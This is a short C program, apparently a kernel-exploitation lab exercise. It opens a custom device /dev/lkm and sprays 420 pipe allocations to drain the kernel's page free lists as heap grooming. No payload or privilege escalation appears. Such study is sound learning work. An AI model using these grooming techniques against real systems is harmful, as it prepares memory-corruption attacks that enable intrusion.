#define _GNU_SOURCE
#include <sys/socket.h>

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "pipe_utils.h"

// where does this come from?
#define OBJS_PER_SLAB 42

#define PIPE_BUFFER   (OBJS_PER_SLAB * 10)

int pipes[PIPE_BUFFER][2];

int
main(void)
{
	printf("main: start\n");
	FILE *device = fopen("/dev/lkm", "r+");

	printf("main: fopen: %p\n", device);

	printf("main: draining lower page free lists: %u objects\n",
	    PIPE_BUFFER);
	for (size_t i = 0; i < PIPE_BUFFER; i++) {
		allocation_primitive(pipes[i]);
	}

	fclose(device);
	printf("main: done\n");
}